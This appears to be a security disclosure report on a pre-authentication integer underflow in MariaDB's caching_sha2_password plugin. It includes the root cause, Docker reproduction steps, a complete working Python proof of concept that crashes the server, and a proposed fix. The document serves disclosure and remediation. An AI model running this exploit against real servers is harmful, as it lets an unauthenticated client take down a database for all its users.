Pre-authentication `size_t` integer underflow → out-of-bounds read / server crash in MariaDB `caching_sha2_password` (auth_mysql_sha2) via an RSA-OAEP

How it was found

Summary

The caching_sha2_password server plugin, on a plaintext TCP connection, RSA-decrypts the client's password reply and sets pkt_len = (int)plain_text_len without checking for an empty plaintext. It then calls sha256_crypt_r(pkt, pkt_len - 1, ...) where the second parameter is size_t. An unauthenticated attacker who RSA-OAEP-encrypts a zero-length message with the server's public key makes plain_text_len == 0, so pkt_len - 1 underflows to SIZE_MAX; the SHA-256 routine then reads SIZE_MAX bytes from a small stack buffer, causing an out-of-bounds read and SIGSEGV that crashes the entire server. The crash occurs during password verification, before any credential comparison, so no valid password is needed.

Root Cause

plugin/auth_mysql_sha2/mysql_sha2.c (server auth()):

unsigned char plain_text[1025];
size_t plain_text_len = sizeof(plain_text) - 1;
...
if (vio_info.protocol == MYSQL_VIO_TCP && !vio_info.tls) {     // plaintext TCP + RSA keys
    ...                                                        // (server serves public key on request '\2')
    if (ssl_decrypt(private_key, pkt, pkt_len, plain_text, &plain_text_len))  // OAEP; sets len=0 for empty msg
        return CR_ERROR;
    for (size_t i=0; i < plain_text_len; i++) plain_text[i]^= scramble[i % SCRAMBLE_LENGTH];
    pkt = plain_text;
    pkt_len = (int)plain_text_len;                             // attacker-controlled -> 0
}
authstr = (struct digest*)info->auth_string;
sha256_crypt_r(pkt, pkt_len-1, authstr->salt, sizeof(authstr->salt), to, authstr->iterations);  // 0-1 -> (size_t)-1

sha256_crypt_r(const char *key, size_t key_len, ...) in plugin/auth_mysql_sha2/sha256crypt.c:

unsigned char *p_bytes = my_safe_alloca(key_len);             // my_malloc(SIZE_MAX) -> NULL
my_sha256_multi(alt, key, key_len, salt, salt_len, key, key_len, NULL);  // reads key_len=SIZE_MAX bytes -> OOB

ssl_decrypt uses RSA_PKCS1_OAEP_PADDING and faithfully returns dstlen = 0 for an OAEP-encrypted empty message, so plain_text_len becomes 0. There is no pkt_len <= 0 / plain_text_len == 0 guard before the pkt_len - 1 subtraction.

Steps To Reproduce

Prerequisites (normal MySQL-compatibility config — caching_sha2_password in use over plaintext TCP, RSA keys present):

1. Load the plugin: INSTALL SONAME 'auth_mysql_sha2';
2. Restart the server so the plugin is loaded at startup and its RSA keys auto-generate (caching_sha2_password_auto_generate_rsa_keys=ON by default → private_key.pem/public_key.pem are created in the data directory). The keys are NOT generated by a runtime INSTALL, so this restart is required.
3. Create an account that authenticates via the plugin, with a password set (do this after step 2 so a valid hash is stored): CREATE USER sha2u@'%' IDENTIFIED VIA caching_sha2_password USING PASSWORD('secret123'); — confirm with SHOW CREATE USER sha2u@'%'; (must show a non-empty USING '$A$005$…' hash).

Then, as an UNAUTHENTICATED network client (no valid password), drive the caching_sha2_password full-auth exchange over plaintext TCP and, at the final step, send an RSA-OAEP encryption of an EMPTY message instead of an encrypted password (a ~30-line raw-protocol script is provided: poc/poc_sha2_min.py, requires Python cryptography). In outline: connect → declare user sha2u (→ server AuthSwitch to caching_sha2_password) → send a 32-byte first reply (passes the pkt_len == SHA256_DIGEST_LENGTH gate) → server replies perform_full_authentication → request the public key → send OAEP(b""). This makes plain_text_len == 0, so pkt_len - 1 underflows to SIZE_MAX.

Observed live (official mariadb:12.3.2):

260603 19:27:08 [ERROR] mariadbd got signal 11 ;
  ... libcrypto SHA256_Update+0x12e
  my_sha256_multi+0xee
  auth_mysql_sha2.so(sha256_crypt_r+0x1db)
  acl_authenticate ... do_handle_one_connection ... handle_one_connection

Container state: Exited (139) (= 128+SIGSEGV; OOMKilled=false). The whole server is down for all clients; it recovers only on restart.

In details

# 1. start MariaDB 12.3.2, wait until ready
docker rm -f mariadb 2>/dev/null
docker run -d --name mariadb -e MARIADB_ROOT_PASSWORD=root -p 127.0.0.1:13306:3306 mariadb:latest
until docker exec mariadb mariadb -uroot -proot -e "SELECT 1" >/dev/null 2>&1; do sleep 2; done

# 2. install the plugin
docker exec mariadb mariadb -uroot -proot -e "INSTALL SONAME 'auth_mysql_sha2';"

# 3. RESTART so the plugin loads at startup -> auto-generates the RSA keys
docker restart mariadb
until docker exec mariadb mariadb -uroot -proot -e "SELECT 1" >/dev/null 2>&1; do sleep 2; done
docker exec mariadb sh -c 'ls /var/lib/mysql/*.pem' # must show private_key.pem + public_key.pem

# 4. NOW create the user (plugin healthy -> hash is stored correctly)
docker exec mariadb mariadb -uroot -proot -e \
"CREATE USER sha2u@'%' IDENTIFIED VIA caching_sha2_password USING PASSWORD('secret123');"
docker exec mariadb mariadb -uroot -proot -e "SHOW CREATE USER sha2u@'%';" # must show ... USING '\$A\$005\$...'(non-empty hash)

# 5. fire the PoC (unauthenticated, no password) and confirm the crash
docker exec mariadb mariadb -uroot -proot -e "SELECT 'UP_BEFORE' s;"
python3 poc/poc_sha2_min.py # -> [+] connection died after ciphertext (= SIGSEGV)
docker inspect mariadb --format 'exit={{.State.ExitCode}}'# -> exit=139

With poc_sha2_min.py

#!/usr/bin/env python3
# MariaDB caching_sha2_password pre-auth DoS (size_t underflow), minimal PoC.
# Sends an RSA-OAEP encryption of an EMPTY message -> server computes
# sha256_crypt_r(pkt, pkt_len-1 = SIZE_MAX) -> my_sha256_multi OOB read -> SIGSEGV.
# Precondition: target has a caching_sha2_password account; plaintext TCP; RSA keys (auto-generated by default).
# No valid password required (crash happens before credential comparison).
import socket, struct
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes, serialization

s = socket.create_connection(("127.0.0.1", 13306))                 # 1. connect to MariaDB

def recv():                                                        #    read one packet: [3B length][1B seq][payload]
    h = s.recv(4)
    if len(h) < 4: raise EOFError("server closed early (setup issue: sha2u needs a valid "
                                  "caching_sha2_password hash AND RSA keys must exist)")
    n = h[0] | h[1] << 8 | h[2] << 16; return h[3], s.recv(n)
def send(seq, body):                                               #    send one packet with the given sequence number
    s.sendall(struct.pack("<I", len(body))[:3] + bytes([seq & 255]) + body)

seq, _ = recv()                                                    # 2. read the server handshake
caps = 1 | 0x200 | 0x8000 | 0x80000                                #    LONG_PASSWORD|PROTOCOL_41|SECURE_CONN|PLUGIN_AUTH
hsr  = struct.pack("<IIB", caps, 0xFFFFFF, 45) + b"\x00"*23 \
       + b"sha2u\x00" + b"\x00" + b"mysql_native_password\x00"     #    declare user 'sha2u', empty auth response
send(seq + 1, hsr)                                                 # 3. -> server issues AuthSwitch to caching_sha2_password

seq, _ = recv()                                                    # 4. read AuthSwitchRequest
send(seq + 1, b"A" * 32)                                           # 5. send exactly 32 bytes (passes the pkt_len==SHA256_DIGEST_LENGTH gate)

seq, _ = recv()                                                    # 6. server replies \x04 (perform_full_authentication)
send(seq + 1, b"\x02")                                             # 7. request the RSA public key (request_public_key)

seq, p = recv()                                                    # 8. server returns the public key (0x01-prefixed)
pub = serialization.load_pem_public_key(p[1:] if p[:1] == b"\x01" else p)
ct  = pub.encrypt(b"", padding.OAEP(                               # 9. *** RSA-OAEP encryption of an EMPTY message ***
        mgf=padding.MGF1(hashes.SHA1()), algorithm=hashes.SHA1(), label=None))
send(seq + 1, ct)                                                  # 10. send -> plain_text_len=0 -> pkt_len-1=SIZE_MAX -> crash

try: recv(); print("server replied — NO crash (unexpected)")
except Exception as e: print(f"[+] connection died after ciphertext: {e!r}  (= server SIGSEGV)")

Remediation

In mysql_sha2.c auth(), reject an empty/short decrypted reply before the subtraction, e.g. if (pkt_len < 1) return CR_ERROR; after the decrypt block (and after the non-RSA read_packet). Defensively, make sha256_crypt_r treat key_len == 0 safely. Add a regression test that sends an OAEP-encrypted empty message to a caching_sha2_password account.

Impact

Any network client that can reach port 3306 crashes the entire MariaDB instance with a single connection and no valid credentials, as long as some account uses caching_sha2_password (typical for MySQL-compatible deployments) and TLS is not enforced on the connection. Full denial of service for all clients; trivially repeatable.